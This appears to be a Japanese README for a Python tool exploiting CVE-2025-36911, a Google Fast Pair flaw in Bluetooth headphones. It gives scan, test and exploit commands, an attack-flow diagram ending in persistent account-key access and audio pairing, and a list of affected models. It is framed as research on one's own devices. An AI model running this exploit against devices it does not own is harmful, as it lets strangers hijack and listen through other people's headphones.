
CVE-2025-36911 脆弱性のPythonエクスプロイト(自社機器のテスト用)
当社の機器をテストするための、Python製Fast Pair CVE-2025-36911 Exploit Tool
著者: Sébastien Dudek (@FlUxIuS) @ Penthertz
クレジット: whisperpair.eu による発見と、実装時間を短縮してくれた @ZalexDev の素晴らしいAPK wpair-app
許可されたセキュリティ研究のみを対象としています。 自分が所有するデバイスのみでテストしてください。
CVE-2025-36911 は、数百万ものBluetoothオーディオデバイスにおけるGoogle Fast Pair実装に影響を与えます。
通常の動作: デバイスはペアリングモード (ボタン押下、ケース開放など) の場合のみペアリング要求を受け付けるべきです。
脆弱な動作: デバイスがアイドル中や既にペアリング済みであっても、いつでも Key-Based Pairing (KBP) 要求を受け付けてしまいます。
# Install
pip install bleak cryptography
git clone https://github.com/Penthertz/CVE-2025-36911-exploit.git
cd CVE-2025-36911-exploit
# Scan for targets
python3 whisperpair-cli.py scan
# Test if vulnerable
python3 whisperpair-cli.py test AA:BB:CC:DD:EE:FF
# Exploit
python3 whisperpair-cli.py exploit --quick
┌─────────────────────────────────────────────────────────────┐
│ ATTACKER VULNERABLE DEVICE │
│ │
│ 1. BLE Scan ─────────────────────► Fast Pair Advertisement │
│ (Find target) (Model ID visible) │
│ │
│ 2. Connect ──────────────────────► GATT Connection │
│ │
│ 3. KBP Request ──────────────────► Key-Based Pairing Char │
│ (Should be rejected ✗ NOT REJECTED! │
│ when not in pairing mode) (CVE-2025-36911) │
│ │
│ 4. Parse Response ◄────────────── BR/EDR Address │
│ │
│ 5. Write Account Key ────────────► Account Key Char │
│ (Persistent access) ✓ ACCEPTED │
│ │
│ 6. Classic BT Pair ──────────────► Audio Profiles (A2DP) │
│ (Game over) │
└─────────────────────────────────────────────────────────────┘
このツールは自動的に複数の戦略を試します:
脆弱性が確認済み(ファームウェアアップデートを確認してください):
| コマンド | 説明 |
|---|
scan | Fast Pairデバイスをライブ更新でBLEスキャン |
scan -a | すべてのBLEデバイスをスキャン |
info <addr> | GATTサービス/特性を表示 |
test <addr> | 非侵襲的な脆弱性チェック |
exploit <addr> | 完全なエクスプロイトチェーン |
exploit -q | 自動スキャン+最初のターゲットをエクスプロイト |
| ブランド | モデル |
|---|
| Pixel Buds Pro 2 (ただしPixel Phoneではかなり早くアップデートが提供される) | |
| Sony | WH-1000XM4, WH-1000XM5/XM6, LinkBuds S, WH-CH520 |
| JBL | JBL TUNE BEAM |
| Anker | Soundcore Liberty 4 NC |
| Jabra | Elite 8 Active |
| + その他多数 | whisperpair.eu |